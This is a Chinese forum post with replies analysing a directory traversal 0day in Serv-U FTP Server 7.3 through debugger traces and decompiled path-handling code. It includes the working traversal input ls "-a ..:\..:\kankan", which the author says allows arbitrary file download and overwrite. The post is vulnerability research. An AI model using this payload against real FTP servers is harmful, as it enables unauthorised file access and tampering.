首页
论坛
课程
招聘
[原创]Serv-U FTP Server Jail Break 0day 分析
2011-12-3 17:21 5832

[原创]Serv-U FTP Server Jail Break 0day 分析

2011-12-3 17:21
5832
Serv-U FTP Server Jail Break 0day 分析
Author: instruder of Code Audit Labs of vulnhunt.com
测试版本Serv-U FTP Server v7.3
测试ftp根目录 c:\testftp

测试命令
ftp> ls "-a ..:\..:\kankan"
200 PORT Command successful.
150 Opening ASCII mode data connection for /bin/ls.
.
..
1.txt
upgrade_cache.cfg
226 Transfer complete. 33 bytes transferred. 2.01 KB/sec.
ftp: 收到 33 字节,用时 0.06秒 0.58千字节/秒。


常见的目录遍历测试大家都会用常见的命令例如
‘../../../ ’
‘..\..\..\’
‘..//..//..//’等等去测试 但是这个漏洞里面竟然需要有 ‘:’ 令我很诧异

以‘ls’命令为例
流程
CFTPCommand__ProcessCommand >CFTPCommandProcessor::ProcessCommand->CFTPCommand::ProcessCommand->CFTPCmdLIST::ProcessCommand->CSUString__MakeFullPath->CUser::CheckPermissions.

这个ftp-u完全是c++写的,各种容器各种库,导致就算简单请求路径如何传播的也花费了很大的力气才找到关键的地方。。

相关打印断点
0 e 1004d8ea     0001 (0001)  0:**** Serv_U_10000000!CSUString::MakeLower+0x4d31 ".if(1){db poi(edi+0x10);gc}"
 1 e 1004bae1     0001 (0001)  0:**** Serv_U_10000000!CSUString::MakeLower+0x2f28
 2 e 1005e048     0001 (0001)  0:**** Serv_U_10000000!CSUString::MakeFullPath+0x17c
 4 e 1004ba87     0001 (0001)  0:**** Serv_U_10000000!CSUString::MakeLower+0x2ece
 5 e 1004d553     0001 (0001)  0:**** Serv_U_10000000!CSUString::MakeLower+0x499a
 6 e 71a2676f     0001 (0001)  0:**** WS2_32!recv ".if(1){db poi(esp+8);gc}"
 7 e 1005dfc8     0001 (0001)  0:**** Serv_U_10000000!CSUString::MakeFullPath+0xfc ".if(1){.echo buildpath;db poi(eax+4)}"
 9 e 71a24c27     0001 (0001)  0:**** WS2_32!send ".if(1){db poi(esp+8);kb;gc}"
12 e 1005e325     0001 (0001)  0:**** Serv_U_10000000!CSUString::MakeFullPath+0x459 ".if(1){db poi(ecx)}"
16 e 10064b55     0001 (0001)  0:**** Serv_U_10000000!CFTPCommand::ProcessCommand+0x28 ".if(1){db poi(poi(esp)+4)}"
17 e 10070c41     0001 (0001)  0:**** Serv_U_10000000!CFTPCmdLIST::ProcessCommand+0x66 ".if(1){db poi(poi([esp+4])+4)}"
19 e 1005737b     0001 (0001)  0:**** Serv_U_10000000!SeparateLines+0x9da ".if(1){db poi(eax+4)}"
20 e 1005e7e6     0001 (0001)  0:**** Serv_U_10000000!CMibInternetConnection::GetIpAddr+0x202 ".if(1){db poi(poi(esp)+4)}"
21 e 1005eb54     0001 (0001)  0:**** Serv_U_10000000!CMibInternetConnection::GetIpAddr+0x570 ".if(1){db poi(poi(esp)+4)}"
24 e 1005ea5d     0001 (0001)  0:**** Serv_U_10000000!CMibInternetConnection::GetIpAddr+0x479 ".if(1){db poi(ebp-10)}"
25 e 10057373     0001 (0001)  0:**** Serv_U_10000000!SeparateLines+0x9d2 ".if(1){db poi(poi(esp)+4);db poi(poi(esp+4)+4)}"
27 e 100575ab     0001 (0001)  0:**** Serv_U_10000000!SeparateLines+0xc0a
32 e 10057136     0001 (0001)  0:**** Serv_U_10000000!SeparateLines+0x795 ".if(1){db poi(eax+4)}"


漏洞成因:
1 首先ftp-u当请求路径中发现 “ ..\“  (../都会转化成..\) 会自动学习windows一样进行路径反转如请求这样的 ls "-a ..\..\*" 则最终变成  C:\*..*  请求这样的路径
请求 ls "-a ..\..\kankan"会变成C:\kankan (路径反转之后会进行权限检查发现比对目录前面不是根目录就返回No such file or directory)。

应代码 C in CSUString__MakeFullPath
    for ( i = (int)"\\..\\"; ; i = (int)"\\..\\" )
    {
      v21 = ATL__CStringT_char_StrTraitMFC_DLL_char_ATL__ChTraitsCRT_char_____Find(&v33);//循环查找’..\’
      v22 = v21;
      if ( v21 == -1 )                         
        break;
      v20 = sub_100A7698(L"\\", v21);
      if ( v20 == -1 )
      {
        if ( (_BYTE)a5 || !a6 )
        {
          v35 = v18;
          i = v22 + 1;
        }
        else
        {
          v35 = v18 + v22;
          i = 0;
        }
      }
      else
      {
        v35 = v18 + v22 - v20;
        i = v20 + 1;
      }
      ATL__CStringT_char_StrTraitMFC_DLL_char_ATL__ChTraitsCRT_char_____Delete(&v33);
      v35 = 0;
}


2 上述处理之后,但是同时若路径中含有’ :’时 则自动去掉这个’ :’
C in CSUString__MakeFullPath 
  while ( 1 )
  {
    v35 = a5;                                   
                  
    v27 = ATL__CStringT_char_StrTraitMFC_DLL_char_ATL__ChTraitsCRT_char_____Find(&v33);
    if ( v27 == -1 )                            // 没找到
      break;
    if ( sub_100A7298((int)&v32, v27 + 1, 92) && sub_100A68FA(&v32) == v27 + 2 )
      break;
    v35 = 1;
    i = v27;
    ATL__CStringT_char_StrTraitMFC_DLL_char_ATL__ChTraitsCRT_char_____Delete(&v33);
  }


但是去掉之后并没有在重新进行路径反转检查

如下

Buildpath  首先连接根目录和请求路径
01e88da0  43 3a 5c 74 65 73 74 66-74 70 5c 2e 2e 3a 5c 2e  C:\testftp\..:\.
01e88db0  2e 3a 5c 6b 61 6e 6b 61-6e 00 6c 2e 00 7e e8 01  .:\kankan.l..~..
01e88dc0  07 00 07 00 af 01 0b 04-38 8e e8 01 1c 00 00 00  ........8.......
01e88dd0  1c 00 00 00 00 00 00 00-32 30 30 20 50 4f 52 54  ........200 PORT
01e88de0  20 43 6f 6d 6d 61 6e 64-20 73 75 63 63 65 73 73   Command success
01e88df0  66 75 6c 2e 00 0a 00 00-07 00 07 00 a8 01 0b 04  ful.............
01e88e00  70 8e e8 01 1c 00 00 00-1c 00 00 00 00 00 00 00  p...............
01e88e10  32 30 30 20 50 4f 52 54-20 43 6f 6d 6d 61 6e 64  200 PORT Command
eax=0012f870 ebx=0000005c ecx=1005dc0f edx=e8fe0098 esi=0012f914 edi=100e7fd0
eip=1005dfc8 esp=0012f860 ebp=0012f88c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
Serv_U_10000000!CSUString::MakeFullPath+0xfc:
1005dfc8 e95e010000      jmp     Serv_U_10000000!CSUString::MakeFullPath+0x25f (1005e12b)
0:000> g		//路径反转 没有发现  ‘../ ‘ 未做反转 
01e88da0  43 3a 5c 74 65 73 74 66-74 70 5c 2e 2e 3a 5c 2e  C:\testftp\..:\.
01e88db0  2e 3a 5c 6b 61 6e 6b 61-6e 5c 00 2e 00 7e e8 01  .:\kankan\...~..
01e88dc0  07 00 07 00 af 01 0b 04-38 8e e8 01 1c 00 00 00  ........8.......
01e88dd0  1c 00 00 00 00 00 00 00-32 30 30 20 50 4f 52 54  ........200 PORT
01e88de0  20 43 6f 6d 6d 61 6e 64-20 73 75 63 63 65 73 73   Command success
01e88df0  66 75 6c 2e 00 0a 00 00-07 00 07 00 a8 01 0b 04  ful.............
01e88e00  70 8e e8 01 1c 00 00 00-1c 00 00 00 00 00 00 00  p...............
01e88e10  32 30 30 20 50 4f 52 54-20 43 6f 6d 6d 61 6e 64  200 PORT Command
eax=00000001 ebx=00000003 ecx=0012f874 edx=004c2b04 esi=0012f914 edi=100f4268
eip=1005e325 esp=0012f858 ebp=0012f88c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
Serv_U_10000000!CSUString::MakeFullPath+0x459:
1005e325 ff1508630e10    call    dword ptr [Serv_U_10000000!CResourceDialog::GetComboBoxValues+0x27a9f (100e6308)] ds:0023:100e6308=781f488e
0:000> g		//去掉第一个 ‘ : ’
01e88da0  43 3a 5c 74 65 73 74 66-74 70 5c 2e 2e 5c 2e 2e  C:\testftp\..\..
01e88db0  3a 5c 6b 61 6e 6b 61 6e-5c 00 00 2e 00 7e e8 01  :\kankan\....~..
01e88dc0  07 00 07 00 af 01 0b 04-38 8e e8 01 1c 00 00 00  ........8.......
01e88dd0  1c 00 00 00 00 00 00 00-32 30 30 20 50 4f 52 54  ........200 PORT
01e88de0  20 43 6f 6d 6d 61 6e 64-20 73 75 63 63 65 73 73   Command success
01e88df0  66 75 6c 2e 00 0a 00 00-07 00 07 00 a8 01 0b 04  ful.............
01e88e00  70 8e e8 01 1c 00 00 00-1c 00 00 00 00 00 00 00  p...............
01e88e10  32 30 30 20 50 4f 52 54-20 43 6f 6d 6d 61 6e 64  200 PORT Command
eax=00000019 ebx=0000000d ecx=0012f874 edx=01e88da0 esi=0012f914 edi=100f4268
eax=00000019 ebx=0000000d ecx=0012f874 edx=01e88da0 esi=0012f914 edi=100f4268
eip=1005e325 esp=0012f858 ebp=0012f88c iopl=0         nv up ei ng nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000293
Serv_U_10000000!CSUString::MakeFullPath+0x459:
1005e325 ff1508630e10    call    dword ptr [Serv_U_10000000!CResourceDialog::GetComboBoxValues+0x27a9f (100e6308)] ds:0023:100e6308=781f488e
0:000> g		去掉第二个 ‘ : ’
01e88da0  43 3a 5c 74 65 73 74 66-74 70 5c 2e 2e 5c 2e 2e  C:\testftp\..\..
01e88db0  5c 6b 61 6e 6b 61 6e 5c-00 00 00 2e 00 7e e8 01  \kankan\.....~..
01e88dc0  07 00 07 00 af 01 0b 04-38 8e e8 01 1c 00 00 00  ........8.......
01e88dd0  1c 00 00 00 00 00 00 00-32 30 30 20 50 4f 52 54  ........200 PORT
01e88de0  20 43 6f 6d 6d 61 6e 64-20 73 75 63 63 65 73 73   Command success
01e88df0  66 75 6c 2e 00 0a 00 00-07 00 07 00 a8 01 0b 04  ful.............
01e88e00  70 8e e8 01 1c 00 00 00-1c 00 00 00 00 00 00 00  p...............
01e88e10  32 30 30 20 50 4f 52 54-20 43 6f 6d 6d 61 6e 64  200 PORT Command
eax=00000018 ebx=00000010 ecx=0012f874 edx=01e88da0 esi=0012f914 edi=100f4268
eip=1005e325 esp=0012f858 ebp=0012f88c iopl=0         nv up ei ng nz ac pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000297
Serv_U_10000000!CSUString::MakeFullPath+0x459:
1005e325 ff1508630e10    call    dword ptr [Serv_U_10000000!CResourceDialog::GetComboBoxValues+0x27a9f (100e6308)] ds:0023:100e6308=781f488e


最后形成C:\testftp\..\..\kankan\的路径进入CUser::CheckPermissions 进行检查,检测是否在根目录 c:\testftp下 符合条件 最终导致远程目录遍历漏洞  可以覆盖,下载任意文件

ps:发现 发这个漏洞的人 Kingcope  真牛逼啊  找的全是远程的漏洞 iis apache nginx各种ftp ...膜拜

ref:http://www.exploit-db.com/exploits/18182/

看雪招聘平台创建简历并且简历完整度达到90%及以上可获得500看雪币~

上传的附件:
收藏
点赞0
打赏
分享
最新回复 (5)
雪    币: 292
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
lummar 活跃值 2011-12-3 17:46
2
0
这个问题,出得实在是不应该啊,首先就应该移除特殊字符……
雪    币: 1
活跃值: 活跃值 (471)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
artake 活跃值 2011-12-4 15:44
3
0
不知道你的“就算简单请求路径如何传播的也花费了很大的力气才找到关键的地方”是怎么弄的,我最近也花时间根据paimei的原理写了类似的脚本,先是通过IDA脚本提取出所有的函数,然后让windbg下断点,但是用一个4M的软件测试了一下,发现提取出的函数多得要命,IDA脚本运行了半个小时,让windbg脚本给提取出来的函数下断点,花了一个多小时,而且运行的时候也慢的很,能否请教一下你那个是怎么弄的,咋样提高效率呢?
雪    币: 83
活跃值: 活跃值 (27)
能力值: ( LV13,RANK:220 )
在线值:
发帖
回帖
粉丝
instruder 活跃值 4 2011-12-4 17:29
4
0
就是用windbg看啊....大致看 CSUString类的函数 如何复制字符串之类的 返回值等等  你说的脚本 是查看程序的执行路径的吧? 不是数据流怎么传的?
雪    币: 46
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
xiaocaijk 活跃值 2011-12-7 17:25
5
0
最近 刚转入 学习 python  这些语言 确实奇怪的
雪    币: 473
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
comewisdom 活跃值 2011-12-9 15:03
6
0
这个漏洞前两天我也分析过,谢谢分享。。我没有分析这么详细。
游客
登录 | 注册 方可回帖
返回